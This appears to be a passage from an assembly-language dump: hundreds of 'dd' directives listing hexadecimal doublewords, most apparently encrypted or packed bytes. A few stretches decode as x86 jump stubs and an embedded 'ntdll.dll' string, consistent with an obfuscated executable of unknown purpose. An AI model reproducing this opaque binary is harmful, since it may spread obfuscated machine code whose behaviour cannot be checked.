139AB824h, 25D1D642h, 1866145Ah, 0BBCEDCD0h dd 0FFFECF56h, 61D5A3DAh, 5FDCE53h, 6FC310DBh, 6673DC14h dd 8556DCFAh, 8173FB19h, 126FB8B6h, 0D82B38D0h, 0FC29896Ch dd 0D0CFA027h, 430E82D5h, 0DC144AD0h, 893E3D4Ah, 0D012406Fh dd 0D05E5BD4h, 5A3AE61Bh, 9C12h, 0D0566100h, 45DD13DEh dd 0B13BD611h, 0F8EEE9E8h, 449768EEh, 10747DF1h, 0C3171F8Fh dd 4D45FAF2h, 0A172F9C7h, 5554A7A2h, 0B0AD35Dh, 50BC8D13h dd 8C009805h, 14511AC1h, 21EC1EDCh, 0D01261D3h, 0F29E96A3h dd 78378EE5h, 0E5E6CEB8h, 0B39DEh, 0BC850E00h, 0DBAC3250h dd 0F8C9516Fh, 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh dd 4260CC95h, 6381EDB6h, 9A9F0BDCh, 61CD23EEh, 97A5D018h dd 0FFD05684h, 25F67D8Bh, 67DE0B2Dh, 82000000h, 0AB1FE874h dd 114592E0h, 5D5562D6h, 0FFD05692h, 0D6A2DB00h, 5E695962h dd 3EFEC9E8h, 0DCEA1C46h, 0C88B8354h, 0DC14C413h, 0CE2F8693h dd 91CEB918h, 0AC48990h dd 0FA830000h, 21A7C531h, 3EC6E450h, 59E3016Dh, 81062490h dd 398544B0h, 0B31FF075h, 0D5410A95h, 0F6622BB7h, 148051D8h dd 5A98630Fh, 1AD01860h, 0CF56F90Ch, 8007FFFEh, 45ADC38Eh dd 3B45D611h, 0E8E3E2B3h, 0C0CE4295h, 716C6B34h, 0CCA1C479h dd 6DF503CFh, 33B8A49Ch, 0FA5C39E7h, 297h, 98243249h, 318ED7CFh dd 91924851h, 1D1433A1h, 7F77CA93h, 0D347D14Ch, 14B60F08h dd 0A61A27DCh, 0B74BA974h, 1E2BD012h, 7D7546CEh, 1FC94497h dd 0D9E7CFABh, 8C87864Fh, 5C246194h, 85EBB6E8h, 6D2F8ADFh dd 733E6860h, 258FF5B4h, 0BFB580AEh, 37298F81h, 0DE56D132h dd 6BBEC959h, 89F41918h, 7E497BEFh, 298FD470h, 0D1FBF300h dd 89504406h, 5BCFDC23h, 2712E352h, 0D6D1D0A1h, 0AEB2FB8Bh dd 0F77E8CB6h, 0D4D3A429h, 310289D9h, 78E43732h, 0AB02D35Ah dd 0CE5ACC40h, 0C70F1617h, 80000009h, 0A4C22EF7h, 0C3E14D1Eh dd 0E0FE6A3Bh, 3218D56h, 8241AD7Eh, 1CED7236h, 3E0792B0h dd 5F28B4D2h, 7D4ED5F3h, 95600C11h, 0D018635Fh, 56F60917h dd 6B6307D0h, 0FAA0FD2Eh, 1A83A8A7h, 1E3F0A7Eh, 98DC1A70h dd 7E09178Bh, 0F43841B5h, 2C2F1B8Dh, 7A4BD222h, 6688807Bh dd 80F4BD48h, 9820E672h, 0C77C74C7h, 45169DABh, 0FAC34E46h dd 21045CA7h, 8D3E8A13h, 603B6295h, 8F8E13D4h, 18923199h dd 78CBC6C5h, 39C4D204h, 7E767170h, 1D1964BBh, 0B7C0EEDAh dd 90394AD6h, 46A7741h, 0ECDA1DC9h, 0E6188CDFh, 5CF2FDDDh dd 0CDC51B4Eh, 7733CC7h, 0C034BCC5h, 916C8EE3h, 3F089399h dd 0F0C14840h, 0C1C22499h, 70E0FD4h, 8FAh, 8FFBC44Dh, 0AE1AEB71h dd 0CB370890h, 0EE5A23ADh, 0E7A4BD0h, 0BA3F034Fh, 0D45F7DE9h dd 0F5819F0Bh, 1BA2C02Ch, 2DD9DE4Ah, 18630C62h, 0C3D6E4D0h dd 45BE2C6Dh, 836D611h, 44E50BD6h, 808DD611h, 50B0AD88h dd 4C17C03Dh, 0D6114426h, 0FA6EC1CEh, 0A5CB96C8h, 0CFD61144h dd 1144EE04h, 837986D6h, 0D19A2676h, 440916D9h, 0BDCBDC14h dd 941A6A33h, 0F11FCBC3h, 1247C826h, 0F8C94ED0h, 0C4AAF502h dd 0E167D3AFh, 0D5E357AAh, 847F7E4Fh, 0D5B0639h, 0E6DEC0D7h dd 5526AEBCh, 99679EE9h, 0E6B85A25h, 80B2DA15h, 19F4BFB5h dd 322A37DAh, 678D5886h, 0FDA19F4h, 0B2B17A05h, 9D1164B7h dd 0CB37088Fh, 0FE5526ADh, 0D4BE047Fh, 2B767D7Eh, 1C000008h dd 405ECA93h, 5F7DE9BAh, 7C9A06D7h, 9FBD29F2h, 1EDD491Ah dd 0B8890ED2h, 0DAA32E4Ch, 0FBC4506Eh, 19EA718Fh, 31FCA8ADh dd 0D01862C3h, 9992A5B3h, 0D611455Fh, 0F96536BDh, 35A977AEh dd 1492996Ah, 0D04451DCh, 16D36C2h, 1A8E57E3h, 22781311h dd 3931AA2Eh, 7D07D84h, 29800000h, 0E5B024FCh, 0DC146AD6h dd 0CF848390h, 0D01260A5h, 0B049521Ah, 311F7FF5h, 2A2702FAh dd 3A3A579Ch, 10EDE5Ah, 322D0000h, 0D2D19A24h, 4DD9DFD7h dd 28D8584h, 0BB423A39h, 4B553CF2h, 398C7085h, 0F5B6423Ah dd 0EAD12942h, 27AE399Eh, 915A125Dh, 8D960A5Dh, 0BF033934h dd 8D1262C4h, 0CAC2BDBCh, 38FE8AA8h, 0E9E4E3ACh, 44431499h dd 0DBF7F649h, 0ED7745CDh, 0A6D9D124h, 642FA371h, 0D611C346h dd 0F412111Eh, 0E4701815h, 591AF1Bh, 0A1ECB53Fh, 4A5FE670h dd 7B7ACD09h, 1185A4C6h, 8C5DE2D6h, 420B958Dh, 0B086343h dd 0E0BEA60h, 0A511DA66h, 0E3572D5Ah, 4E1CA3B1h, 1FCFBC4h dd 0BCB4AFAEh, 118183F9h, 777683D6h, 0BF2BF47Fh, 4E4D16A1h dd 0FFFECF56h, 5D0502E1h, 879509D2h, 1A3C34FDh, 753ECAD8h dd 23EC777Dh, 0FA86FF24h, 9660BB86h, 0DDEADC14h, 0FFC85371h dd 0D8ACDB00h, 97279964h, 121FD012h, 1916F513h, 0B11DE671h dd 403F0893h, 0A216E21Bh, 17A344D7h, 85F1FEDAh, 28461143h dd 0C8DA17BAh, 32BDC3BBh, 0ADBBFD69h, 575D5526h, 0B39602CBh dd 3803FC29h, 0D611453Ah, 0EFF1B5BAh, 0DCD93F00h, 0E4AD3989h dd 0E141D91h, 0E34B1D40h, 0AE185621h, 0CBD8D611h, 8B568078h dd 0DC14A1ACh, 9EBAB9C6h, 3A390A90h, 0BB41473Fh, 299B7EEAh dd 235C30F0h, 8AEE9F63h, 7A4D1EBh, 66B90C71h, 7CB8B267h dd 84FDD611h, 0BE89BB87h, 0D6117CB0h, 0F4BF3340h, 0D6117CFEh dd 85716976h, 5C39DA4Eh, 7B3CC8D6h, 51C890C9h, 8483D61Ch dd 39569189h, 0A5000000h, 0FFD056h, 7F50D6E4h, 45AEC487h dd 98C6D611h, 33B96C8Fh, 827A7B77h, 7C02AAA7h, 4A643FABh dd 0A4D61114h, 11D69BD9h, 0AC7501D6h, 5324ACB6h, 844EAD00h dd 51FFFFFFh, 12DDCF56h, 0D61145DCh, 559B6694h, 1DD61145h dd 556ABD10h, 0F029EAA7h, 573A1328h, 39FF6B70h, 2CA241h dd 32F10000h, 0BF87B029h, 686015B9h, 1F34C435h, 45096732h dd 0DCE9D611h, 0F20032C7h, 0A49F9E67h, 0D056E1ACh, 7D14EAFFh dd 2B47h, 324A00h, 919E67F2h, 0D6114563h, 0DB0E0613h, 32C5DAAEh dd 11450967h, 54DBEDD6h, 0AEBC3083h, 96615922h, 0D0565F32h dd 7D14EAFFh, 3F350032h, 0B7D61145h, 24ACB2AAh, 0AAFDCE56h dd 45F8F6ABh, 19F8D611h, 47501Ch, 5BD30F42h, 32854ED9h dd 0DBAC343Ah, 88175E67h, 6067B3F8h, 8AD5A276h, 77C782C0h dd 292423ECh, 9BCD0F31h, 110CA2D0h, 4D4552D6h, 111A568Ah dd 0B32281D6h, 25FFFFF3h, 8BFFD056h, 0E84B3F82h, 3129CD22h dd 0C259C40Fh, 19E26D3Bh, 79CC1F1Ah, 3A4AFC05h, 0C13B4A49h dd 5F6D9FC9h, 0D01EE9D3h, 0A0D611AAh, 85484093h, 0DC148D92h dd 0CB807F8Ch, 0D01549A1h, 12A09D16h, 5A3DEBD9h, 36013365h dd 0D0154138h, 509EABB8h, 20D01541h, 6DC09116h, 73A75h dd 47890000h, 1, 2CFC294Ah, 5F716562h, 178BDE21h, 14A6E34Ch dd 7F7E8BDCh, 1CA5563h, 90F0702h, 6B46B283h, 0D012B648h dd 7733CC8h, 95945DE9h, 14E56B79h, 4677D31Ch, 0E7B03C4Ah dd 4B1714EFh, 11D80642h, 635BA25Ch, 9C08D15Dh, 2326F77Eh dd 0D8DBAC33h, 4ACA9FCh, 217CAC7Dh, 0CE9F2432h, 0FFE1EAD6h dd 0DE2C5CB9h, 7B000000h, 1126F229h, 450C6732h, 0D5EAD611h dd 9C2432C0h, 0D6A9D3CBh, 32148181h, 453F3500h, 0AAB7D611h dd 5425ACB2h, 29EAA73Fh, 0A6B428F0h, 5853521Bh, 573A9560h dd 39FF6B70h, 52A241h, 32F10000h, 453F3500h, 0AAB7D611h dd 7E0A7FB2h, 9673269h, 0E9D61145h, 2932C7DCh, 300BAC04h dd 0D5FFF7C5h, 35003202h, 0D611453Fh, 0ACB2AAB7h, 0AFE15526h dd 11458EE4h, 6D3866D6h, 0D6114507h, 978FE2EFh, 9C2432CCh dd 0D9D1CCCBh, 4847FA91h, 4A000000h, 0B030F029h, 0A5CB9612h dd 4DD611FDh, 4F83F540h, 0B5C3378Ah, 9C675F30h, 45096732h dd 0D8EDD611h, 1CA5664h, 323E09h, 11453F35h, 0B2AAB7D6h dd 32B588h, 11453F35h, 5AAAB7D6h, 70201D2h, 0B283090Fh dd 477D149Dh, 0FFFFFF14h, 3500324Ah, 0D611453Fh, 0ACB2AAB7h dd 0D7E05425h, 539FC2B0h, 66493E93h, 0F707D6h, 800B5ADh dd 642DB381h, 203DB62Eh, 9594E79Dh, 90DB479Ah, 4C178B15h dd 0DC141707h, 0EEA3A2AFh, 0D0122484h, 0D7637139h, 3E3B160Eh dd 3A863BB0h, 45F25Ah, 0D4E20000h, 0EA398849h, 0A802DFF6h dd 29925D55h, 0E5B024FCh, 0DC1468C2h, 9DCA151Eh, 207229D9h dd 706F7C28h, 0AC04B54h, 4B72CC4Fh, 0BD669053h, 62DBD012h dd 1B1CD765h, 1A285A3Ah, 0C8C3C293h, 0F795D0h, 56E40000h dd 7FFFECFh, 0AFC59082h, 47D61145h dd 0CCE8E73Ah, 716932BEh, 1413E46Bh, 3BC7951Ch, 0D8B31F72h dd 0D6114922h, 7CF0C148h, 2119E26Eh, 895AE1FFh, 6038658Ah dd 9253DEECh, 0C102E135h, 7473C6ABh, 8C578179h, 0DC143D2Bh dd 672DB7C5h, 0C2C114DDh, 20F177C7h, 822E2621h, 2120F178h dd 565FD326h, 0AC99A3B6h, 81A39B7Ah, 0A934CF36h, 93E6E1E0h dd 0DA7C541Fh, 0CAF8DA15h, 1992F1FFh, 297481DAh, 0B79B6094h dd 0D3479AC1h, 36F40C5h, 0AEC48FC1h, 46DA19CFh, 0B63B4139h dd 0DE058EE5h, 1718D4BDh, 22D10h, 0C8911A00h, 0E7B83E5Ch dd 4D55D7Bh, 27F07A98h, 47189DBBh, 0CD01CDBh, 2C4AB687h dd 4E6CD8A1h, 6F8DF9C2h, 0A6AB17E8h, 68C12FFAh, 0A3B1D018h dd 0D15690h, 618F5A8Ch, 11D61145h, 0CCEA0C04h, 20F17745h dd 0E7B22621h, 0D6114589h, 9D095C69h, 9A2932BAh, 410A940Dh dd 97D4F0F6h, 67316C9Fh, 768728F3h, 0D2DFDC14h, 7D41ED3h dd 0A169D012h, 3C3B0C93h, 0EC02CD41h, 84D01207h, 0A7A47F77h dd 3AA1D219h, 0B9595Ah, 56A80000h, 49CFDDCFh, 717E7978h dd 0D6114503h, 9493E6F3h, 4746179Ch, 1149E492h, 0AA7B02D6h dd 0C899203Eh, 159FADC9h, 0CD554D4Ch, 0AF02FDFCh, 7F1984B7h dd 32D0D90Bh, 3ABC0179h, 1FA0635Bh, 57DC14FCh, 0C6CDD64Ah dd 13612C22h, 0E3D012AEh, 127B8BD6h, 0D214362Eh, 756D3EC4h dd 0C93DDB42h, 154B33FEh, 0C23643DAh, 2EF78290h, 363C342Fh dd 5674E0B1h, 16A900D1h, 3DD4BEC2h, 124353Ch, 9A230000h dd 0C14765D1h, 0DE6684F0h, 0F983A10Dh, 21A6C430h, 0D925E450h dd 53BF9015h, 75E1AA35h, 9602CB57h, 0B420F178h, 3A3803AFh dd 0BAD0186Bh, 0D15699ACh, 0EF769400h, 56CFB21Eh, 7FFFECFh dd 0F843AF80h, 4D7FF38Dh, 0B8810D1Bh, 114545ABh, 28202DD6h dd 1445DE65h, 178B98DCh, 0BDB57E09h, 2DFE8593h, 4B1CA3C1h dd 22FE274Ch, 59BAE3AEh, 2734DA19h, 0C16733D0h, 666D6ED4h dd 0A6h, 0E34F18A1h, 26E3FC5h, 1F8B5CE4h, 42AE7701h, 62CE9F24h dd 0E9357A3h, 28B3D13Dh, 49D5F35Fh, 6FF61480h, 812D329Eh dd 186AB8B6h, 172A38D0h, 0B024FC29h, 1A5AD0E5h, 95608EDCh dd 0D018505Fh, 43B70A17h, 8FDFB035h, 423D3C05h, 169D954Ah dd 34BBD945h, 67AF6463h, 0B5DA6672h, 356C642Dh, 7ADA97FBh dd 0A8302827h, 6B2AD8D7h, 308BC36Eh, 33048B33h, 885385C7h dd 0DA76E16Ah, 27ADFD0Ah, 645C5756h, 706D75Eh, 0A9C4850Fh dd 73957604h, 2201F72h, 0F77E2623h, 159CBA26h, 33E4544h dd 41000000h, 0CD563D54h, 860D0504h, 32BEB6B5h, 0E7726A69h dd 0A2271F1Eh, 55DAD2D1h, 38D8584h, 0BB433B3Ah, 6DF3EBEAh dd 506F9D9Ch, 405E089h, 83000000h, 48704E8h, 14895C24h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 2404895Ch dd 8904EC83h, 0F268241Ch, 8B060915h, 0C4812404h, 4, 241C8B54h dd 4C481h, 0BA520000h, 8, 8956DA01h, 5E3289C6h, 241C8B5Ah dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 582434FFh, 4C481h dd 96E90000h, 88FFFA4Dh, 9A632649h, 37B4DE58h, 3016B813h dd 0C5030609h, 0A185C650h, 4706031Bh, 38172568h, 0E1B5FFCFh dd 8D060302h, 338E085h, 8BD0FF06h, 0B5858DD8h, 50060300h dd 10468h, 0C6D3FF00h, 31BA185h, 0BF685306h, 0FF8307F8h dd 302E1B5h, 0E0858D06h, 0FF060338h, 0D38589D0h, 83060913h dd 32EBDBDh, 840F0006h, 0Bh, 30919D8Bh, 5E90603h, 0BB000000h dd 0 dd 10068h, 0D7B58D00h, 56060913h, 6195FF53h, 8D060308h dd 913D7B5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 60913D7h, 0D395FF50h dd 58060913h, 37F3E0FFh, 0DDEF13A4h, 0D5731A7Fh, 0C5770AEBh dd 0CFF15E2Eh, 8641D4Ah, 0E60324B0h, 0D6F33F9h, 3412670Bh dd 0CFE04A38h, 0D30A2B85h, 0D9CE4155h, 2ECD2E39h, 0BF3F4410h dd 57C10012h, 0ED31273Fh, 0D8F45A81h, 6EFB7B69h, 95DF3AC1h dd 176139C0h, 0C8740C9Eh, 0D184248h, 90114CF1h, 14D86BC5h dd 0FCE1D72h, 10F31C88h, 0C8FA04C3h, 14F3158Bh, 546657A7h dd 0E74C34F1h, 0CA572DEEh, 0F12F3EA4h, 11E805AAh, 0E8000000h dd 0EBC2CC59h, 98A60E3Bh, 0A1E100B5h, 0D855DF4Fh, 0FE9h dd 47DBD700h, 0F522E07Ah, 6FD6C10Ah, 53E3D4Fh, 0C9BB665Eh dd 0B8C6817Fh, 8A00006Fh, 60FF2BF1h, 61F8D98Bh, 523E048Bh dd 42E98166h, 0E8815BE1h, 0D537BFDh, 81D68B66h, 0BE3929C0h dd 8880F39h, 0F000000h, 286h, 8106B300h, 0B0C9DDF0h, 6050FC68h dd 0AD3DE681h, 0BF0F09E0h, 48F61CFh, 0D3CE803Eh, 9DE6D381h dd 0EF8178FCh, 5E8358D9h, 3860Fh, 0D1800000h, 0D5C781AFh dd 0E85E8358h, 12h, 0B7D6D9D0h, 4BBF9962h, 0A5CF524h, 0F9B4722h dd 0AE98511h, 0E4000000h, 0A4A134A1h, 53C924Ah, 0FF815BD8h dd 0FFFF9134h, 13850Fh, 0D38B0000h, 22E9h, 0F6E35400h dd 0B73A9D84h, 0E8B26D96h, 59E9FC7Fh, 45FFFFFFh, 0F5637705h dd 2948FC1h, 0CA961A2Eh, 8DB80B6Ah, 933978Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 14F6F30Ah, 7E9C629h, 9E000000h, 98410747h, 85296686h dd 6032DC9h, 20A58D89h, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 907979C3h, 201D958Bh dd 0BD890603h, 6032C09h, 1A6585C7h, 5FA80603h, 9D090000h dd 6030B95h, 686ABF66h, 7185C7h, 603h, 89600000h, 3009195h dd 0EA816606h, 0FF6104D7h, 30BE1B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0FFC699FBh dd 3171D95h, 0FE906h, 26B70000h, 49099CB1h, 0AC047915h dd 49B13DC8h, 0FF006A6Dh, 323A595h, 0EBC08B06h, 3613D32Eh dd 99DC483Eh, 9FD76E61h, 0C8933734h, 0CB742A2Ah, 3403FB88h dd 0D333920Bh, 1B52885Ch, 12889C7Ah, 0F68F5333h, 820ABC88h dd 0EB5F85E2h, 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch dd 88006C6Ch, 34074621h, 46A3D25Dh, 1902F1h, 0 dd 0E9000000h, 65Bh, 9355068h, 4A1FE906h, 3668FFFAh, 0E9060936h dd 0FFFA4A15h, 936DE68h, 4A0BE906h, 9668FFFAh, 0E9060937h dd 0FFFA4A01h, 9385468h, 49F7E906h, 2168FFFAh, 0E9060939h dd 0FFFA49EDh, 0CB370089h, 0EA5627ADh, 77344CCh, 2A965FE9h dd 4AB6870Ch, 0F67B3F8Bh, 109BB925h, 31BDDB47h, 57DEFC68h dd 69151A86h, 1871509Eh, 0FF1220D0h, 3347h, 24324A00h dd 0DED1D099h, 6C8AD685h, 0D8D02301h, 7B7A4BD2h, 0FBCC515Fh dd 0A576FD03h, 8C145E39h, 2C5ED611h, 0B9C6971Eh, 0D6118CBBh dd 30362E3Bh, 8C6FDBA4h, 0A027FC29h, 82D5D0CFh, 6C10430Eh dd 7D8ADC14h, 38E30009h, 0D0D1CBB0h, 46E23D8h, 0B9D012DFh dd 3EB54340h, 0F55A3A79h, 266h, 0CC831344h, 4553C751h dd 0F3EEEDBEh, 0D06D1FBh, 0A7DC1460h, 5944AA75h, 1F2CD012h dd 0FA6E7B27h, 0A19962ECh, 0F11F68BBh, 0D5509C3Ch, 0DB0CD74Bh dd 0D51625A8h, 51A3C2CCh, 2AC3B37Ch, 80A2ED02h, 0E38F87D1h dd 0CC5462D6h, 0A7A677FEh, 0AC6159ACh, 0E821E87h, 23BB8143h dd 68D9B0Ch, 8F60E535h, 6ADEEB97h, 9CDC2F38h, 3F8A53DEh dd 3931A4D6h, 53DEAC33h, 0E235068Dh, 7E05238Fh, 9BAA56ADh dd 2039EEFh, 45EFBh, 541DA600h, 7344CAE8h, 9061E907h, 0B37C0624h dd 0D3A42947h, 985CA867h, 0B8D64213h, 0DAF8642Dh, 0FB19854Eh dd 3237A374h, 70B5BB86h, 2F3DD018h, 6CF561Ch, 0D2570C53h dd 0BC070201h, 0EB3E6EC9h, 0CA5EC7ECh, 382A2AEDh, 296337D2h dd 0DEC5BA6h, 6A9C1063h, 0E06D75Ch, 14B3AC4Bh, 0CD3946DCh dd 313A2A6Ch, 7FB080A1h, 156E8460h, 0D36DEA35h, 4EB7EAE2h dd 5A353EB2h, 94606947h, 0FAC5EFE7h, 0DA175E11h, 89DC0C19h dd 62A8A484h, 0A216E21Bh, 564FA570h, 222772B5h, 0CDFD1812h dd 7971C44Fh, 9353844Fh, 0BECB78B0h, 0E7B03C4Ah, 0E8153AEFh dd 63CE24EFh, 5D287CB9h, 7CB96317h, 0CFDCD2DFh, 9B3D087Ch dd 1376BFE7h, 65B08109h, 165875C9h, 2EA2F542h, 5CC89920h dd 8FE6B73Eh, 7963FCD9h, 783E4546h, 8C000003h, 0B0CE3A03h dd 0CFED592Ah, 0EC0A7647h, 0F2D9962h, 8E4DB98Ah, 28F97E42h dd 4A139EBCh, 6B34C0DEh, 895AE1FFh, 0A16C181Dh, 0D0187353h dd 56021523h, 269206CFh, 9930B29Dh, 0FB224746h, 5DDEA91Dh dd 15DC1482h, 0D4519C08h, 0B512602Bh, 0D5E2D012h, 1D430E82h dd 95DA1989h, 3837008Bh, 6876EA3Dh, 0BE5E18E1h, 0E7AFE035h dd 64729C94h, 0D220EBDDh, 0A2DA1C5Eh, 5E4BA974h, 1E2BDA1Ch dd 0EE0C78CBh, 14229667h, 7D48BC8Dh, 0DA1C5E77h, 45FAF2FFh dd 0A71BE520h, 197BF7DCh, 1B727FD0h, 0DAC5AA5Bh, 0D0D4DBDCh dd 34000002h, 5876E2ABh, 779501D2h, 94B21EEFh, 0B7D5410Ah dd 36F56132h, 0D0A126EAh, 0F2BB4664h, 13DC6886h, 310289A7h dd 4914C0C5h, 0D018732Bh, 56AABDCBh, 0DAFFFECFh, 9661D5A3h dd 0DC145EC9h, 0E3107C89h, 172h, 0A0197E87h, 11271606h dd 88134E19h, 6EE2BEE7h, 313F0A3Ch, 0C1D61145h, 5F36B0BCh dd 66B9A75Eh, 0CF41C01Bh, 0A69E329Bh, 14FC68E3h, 0C5F502DCh dd 4D843872h, 0A47CA9CDh, 65F0FE30h, 0F346179Fh, 3E01F9F4h dd 2754C6A5h, 0FC21202Dh, 0B883F781h, 0DD541216h, 0FF0D818Eh dd 0F93BA778h, 6664D9F0h, 736BC9FCh, 0BE15E66Dh, 0D00005F4h dd 18818889h, 0EC000002h, 102E9A63h, 2F4DB98Ah, 4C6AD6A7h dd 6F8DF9C2h, 0EEAD19EAh, 8859DEA2h, 0AA73FE1Ch, 0CB94203Eh dd 0E9BA415Fh, 1CC787Dh, 0D01872F3h, 56627583h, 818AFECFh dd 105201h, 5A0F0705h, 0D9AA303Eh, 0A977AEE1h, 0B68D6A35h dd 5865DC14h, 690F8BECh, 0B6066C37h, 0E1EED012h, 0B14FB6E9h dd 9399723Dh, 8491DA17h, 20D00154h, 0DFE868F4h, 13C96746h dd 0EF221A36h, 4476EAB6h, 5FE4AA36h, 413C3B8Eh, 9DFD8649h dd 687546FCh, 3FD94469h, 0D95E00CBh, 4A587CFBh, 4EFAF2C3h dd 38BFCD41h, 0B0B9FB67h, 8C9BEE94h, 0A0EF8B58h, 853382AAh dd 0AD343A32h, 52B185DCh, 595A6FA8h, 15A52h, 5821AA00h dd 7748CEECh, 9465ED0Bh, 0B7800A28h, 0D7A82D4Bh, 9C60AC6Bh dd 0BCDA4617h, 0DEFC6831h, 0FF1D8952h, 363BA778h, 7DB1BF8Ah dd 3341D018h, 0FECF5620h, 0D5A3DAFFh, 59959661h, 0C0CDDC14h dd 29327154h, 8F3A693Bh, 30F98349h, 4BB2E5DDh, 0F90739ADh dd 0CC56A66Fh, 11090403h, 1A7D0A4Eh, 299DAADCh, 57C3941Bh dd 0E2E1B239h, 44B840BDh, 134E4379h, 0AB3745DAh, 0F0E8E3E2h dd 91C33744h, 2E5E945Fh, 916DA03h, 0B3840B11h, 0D1A22947h dd 8770ADD2h, 32EB6BCh, 0DE313EDAh, 3D45C6Ah, 0D71DE804h dd 9FDA032Eh, 1D473F92h, 6258952h, 2FB5C3D0h, 317C723Dh dd 0E7F4C404h, 0A29A9594h, 0B492E9F6h, 71DACAE8h, 8D6970h dd 0EE770000h, 159BB925h, 32BAD844h, 4DD7F561h, 75FA1884h dd 2D7938A4h, 0A713E469h, 0C935FE89h, 0EA561FABh, 87445CCh dd 668C5703h, 0ED0187Ch, 0FC29ED00h, 0ADE5B024h, 49DC1A79h dd 0BE453D3Ch, 0DC6381EDh, 50570C0Bh, 0B8F31424h, 6B636233h dd 0A1312E3h, 0D65C0401h, 1F7AB205h, 22F37A22h, 401198B6h dd 7039BECCh, 3ED3294Ch, 0AFAE01F1h, 0F07BCB4h, 9FBDBC85h dd 941BC3C0h, 0B5414FC3h, 0B4D2F4ECh, 565D5C2Dh, 3, 563D5459h dd 0D0504CDh, 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h dd 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 81E38953h dd 4C3h, 4EB8300h, 8B241C87h, 89522424h, 4C281E2h, 83000000h dd 148704EAh, 2C895C24h, 35566824h, 1C890000h, 4EC8324h dd 68243489h, 155A7E40h, 0DEF74E5Eh, 0B272C681h, 0F5891B63h dd 4EC815Eh, 89000000h, 4812424h, 424h, 89575B00h, 438F57EFh dd 34FF5F08h, 0C4835B24h, 242C8B04h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 0FA43D0E9h, 0B8BC63FFh, 60939D3h, 0E0FFC503h dd 493D159Fh, 72FFE48h, 5AB97667h, 52765C52h, 2D52DF30h dd 162D1FD6h, 48AAB348h, 0E537564h, 6E8h, 0F51FB500h, 0E97D9C65h dd 11h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh dd 0BE665A39h, 0C281F6FDh, 5C0Dh, 68C38Bh, 59000000h, 0F0A3C8Bh dd 68Ch, 36D08100h, 812514B1h, 2567B8C7h, 0F781F579h, 2F615C3Dh dd 48E4A9B8h, 0A1F7817Dh, 0F50EF71h, 488h, 0DA8B5100h dd 0A3C895Bh, 1A8C0Fh, 12E80000h, 0B1000000h, 0B24763E9h dd 777E778Ah, 0E679C792h, 19922928h, 5E71B4DDh, 83C2BF0Fh dd 0BF0F01E9h, 494949F1h, 49AAE881h, 0F9816269h, 0FFFFA4C4h dd 25850Fh, 6E80000h, 73000000h, 4D5212E1h, 23E9586Ah dd 37000000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h, 0E5087E4Eh dd 66304822h, 0E9A70EB8h, 0FFFFFF60h, 61527ED8h, 8EBFC71h dd 0 dd 5E0AC9A9h, 4A4E9h, 3C866800h, 0B2E90609h, 68FFFA42h dd 6093CF9h, 0FA42A8E9h, 3E3768FFh, 9EE90609h, 0D8FFFA42h dd 0FC1A864Fh, 1B39A576h, 3856C293h, 5B79E5AEh, 0DA9905D6h dd 7445CA8Eh, 965FEA08h, 0B7800C2Ah, 0D5A62D4Bh, 0EDB86469h dd 0D0187E87h, 564E616Fh, 90100D1h, 0FA45B182h, 0A56EF883h dd 0E458ABA6h, 0BFB580B2h, 37D61145h, 86D9A22Dh, 652CCB8Eh dd 0B9C6DC14h, 0B4959EBAh, 0A0DC8371h, 0EE08CBC3h, 53D0126Eh dd 844FDDDAh, 8F5A3AC8h, 2D3h, 350032DEh, 0D611453Fh, 0E0077762h dd 0B0A6A2A1h, 2F62ABA3h, 2599679Eh, 68BFEAF3h, 0B77357B8h dd 65605F30h, 0FC571A12h, 76DC14DBh, 5E63969h, 5FD5757Dh dd 60D9EF56h, 675FACF8h, 9337C934h, 626D7E08h, 1CC81332h dd 5CAF0DD8h, 55639509h, 470A02CBh, 0DF7DF50Ch, 7E9A99A6h dd 1A19EA70h, 89F4271Fh, 17497BEFh, 7DFA264Ch, 71C1CEDFh dd 62251DE6h, 0D578C128h, 0D3FB3C0h, 0B4AC75FFh, 0EA5627AEh dd 1D7445CCh, 0D8256D04h, 0E32F3637h, 0DC000002h, 1E8A53h dd 1F3DA97Ah, 3C5AC697h, 5F7DE9B2h, 0DE9D09DAh, 7849CE92h dd 9A63EE0Ch, 0BB84102Eh, 0D9AA314Fh, 0F1BC686Dh, 0D0187983h dd 29526573h, 0E5B024FCh, 0DC1A803Ch, 2B39ADBAh, 834CD8A6h dd 0CA368984h, 658B5688h, 0DD01879h, 7D020800h, 7E2F38ACh dd 7F1D81D8h, 5922ACFCh, 0F2F7AC61h, 1AD018D4h, 486BC293h dd 8FCEBF06h, 270878Eh, 0C64F0000h, 0ED7391FDh, 0A92B01Ch dd 25AFCD39h, 4DD2F05Ch, 551107Ch, 7FEBBC41h, 0A10DD661h dd 0C22EF783h, 0E04C1DA4h, 0E642FDBh, 0E6D01879h, 2432C5D8h dd 0A2D5CD9Eh, 0F7299D7Bh, 95945DE9h, 0F7C04A9Ah, 80853CFFh dd 411DC1Ah, 7E265005h, 0E974D018h, 9D292120h, 1A673DDCh dd 6592A76h, 0F8F5FE07h, 0AEAB244Dh, 3016AB20h, 15D625Ah dd 56B10000h, 0E3FFFECFh, 7E7D4ED5h, 0FE858B83h, 0F76C12Dh dd 1D32FD71h, 95DC144Ah, 3837008Bh, 36EBEA3Dh, 0D012413Ch dd 20ABB981h, 655D5857h, 0F4FF8D8Ah, 3F5A3AE3h, 37h, 24FC298Eh dd 68C2E5B0h, 8F9CDC14h, 686B7490h, 0C942E7CEh, 1CED75C5h dd 672A221Dh, 0D012440Dh, 0AE3C39B2h, 5A3AE225h, 0A0F0h dd 1AD7E000h, 17C4F5CDh, 5688534Bh, 7FFFECFh, 96B2B182h dd 0AB320088h, 